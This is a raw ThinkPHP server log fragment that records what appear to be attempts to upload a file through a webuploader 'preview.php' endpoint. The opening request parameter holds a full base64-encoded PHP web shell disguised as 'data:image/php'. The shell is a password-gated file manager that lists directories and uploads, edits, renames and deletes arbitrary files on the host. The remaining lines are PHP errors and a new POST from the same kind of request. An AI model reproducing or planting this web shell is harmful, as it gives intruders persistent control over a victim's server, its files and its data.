'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:31:58+08:00 ] 116.213.36.234 POST www.51tianwei.com/template/admin/public/js/webuploader/0.1.5/server/preview.php [运行时间:0.045016s] [吞吐率:22.21req/s] [内存消耗:274.57kb] [文件加载:37] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'template', 2 => 'admin', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 